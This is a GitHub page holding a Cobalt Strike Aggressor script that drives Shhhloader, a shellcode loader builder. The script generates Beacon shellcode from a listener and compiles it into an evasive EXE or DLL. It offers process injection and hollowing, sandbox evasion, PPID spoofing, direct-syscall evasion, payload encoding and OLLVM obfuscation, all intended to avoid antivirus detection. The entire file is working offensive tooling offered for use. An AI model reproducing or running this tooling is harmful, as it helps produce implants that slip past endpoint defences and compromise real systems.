forked from icyguider/Shhhloader
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathShhhloader.cna
212 lines (193 loc) · 6.31 KB
/
Shhhloader.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
############################################################
# Shhhloader Aggressor script by @icyguider
# Thanks to @GeorgePatsias whose code I used as a reference
# If you ever want to change the Shhhloader path this tool uses, simply delete the ".shhhloader_cfg" in your HOME directory.
############################################################
$script_path = "";
$config_file = "";
# Variables for Shhhloader Options
$shellcode = "";
$file_type = "";
$sandbox = "";
$injection_method = "";
$sandboxarg = "";
$injection_process = "";
$noppid = "";
$verbose = "";
$dllproxy = "";
$syscall_method = "";
$encoding_method = "";
$ollvm = "";
$outname = "";
$payload_type = "";
# Variables for flags
$np = "";
$vb = "";
$ns = "";
$dll = "";
$dp = "";
$sa = "";
$sb = "";
$gs = "";
$ol = "";
$we = "";
$proc = "";
$ext = "exe";
menubar("Shhhloader", "Shhhloader");
popup Shhhloader {
item "&Generate Payload" {
$data = exec("whoami");
$exec_output = readAll($data);
if ($exec_output[0] eq "root") {
$config_file = "/root/.shhhloader_cfg";
}
else {
$config_file = "/home/" . $exec_output[0] . "/.shhhloader_cfg";
}
#show_message($config_file);
$handle = openf($config_file);
$cfg_text = readln($handle);
closef($handle)
#show_message($cfg_text);
if ($cfg_text ne "")
{
$script_path = $cfg_text;
}
if ($script_path eq "") {
$dialog = dialog("Shhhloader Payload Generator", %defaults, &setFullPath);
dialog_description($dialog, "Shhhloader directory not found. Please specify full path below:");
drow_text($dialog, "full_path", "(*) Shhhloader Directory Full Path: ");
dbutton_action($dialog, "Submit");
dialog_show($dialog);
}
else {
Shhhloader();
}
}
}
sub Shhhloader {
local('$dialog %defaults');
%defaults["injection_process"] = "explorer.exe";
$dialog = dialog("Shhhloader Payload Generator", %defaults, &mainCallback);
dialog_description($dialog, "AV Might Hear Us!!! (#) for optional, (*) for required options.");
drow_listener_stage($dialog, "listener", "(*) Listener: ");
drow_combobox($dialog, "payload_type", "(*) Payload Type: ", @("Stageless", "Staged"));
drow_combobox($dialog, "injection_method", "(*) Injection Method: ", @("QueueUserAPC", "ModuleStomping", "ProcessHollow", "EnumDisplayMonitors", "RemoteThreadContext", "RemoteThreadSuspended", "CurrentThread"));
drow_combobox($dialog, "syscall_method", "(*) Syscall Method: ", @("SysWhispers2", "GetSyscallStub"));
drow_combobox($dialog, "encoding_method", "(*) Encoding Method: ", @("XOR", "English Words"));
drow_combobox($dialog, "file_type", "(*) File Type: ", @("exe", "dll"));
drow_combobox($dialog, "sandbox", "(#) Sandbox Evasion: ", @("domain", "hostname", "username", "sleep", "none"));
drow_text($dialog, "sandboxarg", "(#) Sanbox Argument: ");
drow_text($dialog, "injection_process", "(#) Injection Process: ");
drow_text($dialog, "outname", "(#) Output File Name: ");
drow_text($dialog, "dllproxy", "(#) DLL Proxy: ");
drow_checkbox($dialog, "ollvm", "(#) Enable Obfuscator-LLVM (OLLVM)");
drow_checkbox($dialog, "noppid", "(#) Disable PPID Spoofing");
drow_checkbox($dialog, "verbose", "(#) Verbose");
dbutton_action($dialog, "Generate Payload");
dbutton_help($dialog, "https://github.com/icyguider/Shhhloader");
dialog_show($dialog);
}
sub setFullPath {
$script_path = $3["full_path"];
if ($script_path eq "") {
$verbose = "";
}
else {
$handle = openf(">" . $config_file);
#show_message($script_path);
println($handle, $script_path);
closef($handle);
Shhhloader();
}
}
sub mainCallback {
if ($3["listener"] eq "") {
show_message("Please specify a listener!");
exit();
}
$injection_method = $3["injection_method"];
$encoding_method = $3["encoding_method"];
$file_type = $3["file_type"];
$sandbox = $3["sandbox"];
$sandboxarg = $3["sandboxarg"];
$injection_process = $3["injection_process"];
$noppid = $3["noppid"];
$verbose = $3["verbose"];
$dllproxy = $3["dllproxy"];
$ollvm = $3["ollvm"];
$outname = $3["outname"];
$payload_type = $3["payload_type"];
if (($sandbox eq "domain") || ($sandbox eq "user") || ($sandbox eq "hostname")) {
if ($sandboxarg eq "") {
show_message("Selected sandbox evasion method requires an argument! Try again.");
exit();
}
}
if ($noppid eq "true"){
$np = "-np ";
}
if ($verbose eq "true"){
$vb = "-v ";
}
if ($sandbox eq "none"){
$ns = "-ns "
}
if ($file_type eq "dll"){
$dll = "-d ";
$ext = "dll";
}
if ($dllproxy ne "") {
$dp = "-dp $dllproxy";
$dll = "-d ";
$ext = "dll";
}
if ($sandboxarg ne "")
{
$sa = "-sa $sandboxarg ";
}
if ($sandbox ne "none")
{
$sb = "-s $sandbox "
}
if ($syscall_method eq "GetSyscallStub") {
$gs = "-g ";
}
if ($ollvm eq "true"){
$ol = "-l ";
}
if ($encoding_method eq "English Words") {
$we = "-w ";
}
if ($outname eq "") {
$outname = "a.$ext";
}
$proc = "-p $injection_process";
if ($payload_type eq "Stageless") {
$shellcode = artifact_payload($3["listener"], "raw", "x64");
}
if ($payload_type eq "Staged") {
$shellcode = artifact_stager($3["listener"], "raw", "x64");
}
GeneratePayload();
}
sub GeneratePayload {
$handle = openf(">" . $script_path . "/beacon.bin");
writeb($handle, $shellcode);
closef($handle);
$build_cmd = "python3 Shhhloader.py beacon.bin -m $injection_method $sb$sa$proc -o $outname $np$vb$ns$dll$gs$ol$we$dp";
#Uncomment to debug call to python builder
#show_message($build_cmd);
$data = exec($build_cmd, $null, $script_path);
$exec_output = readAll($data);
if ("successfully" isin $exec_output)
{
show_message("Shhhloader stub compiled successfully!\nLocation: " . $script_path . "/$outname");
}
else
{
show_message("Failed to compile!");
}
#Uncomment to debug python builder output
#show_message($exec_output);
}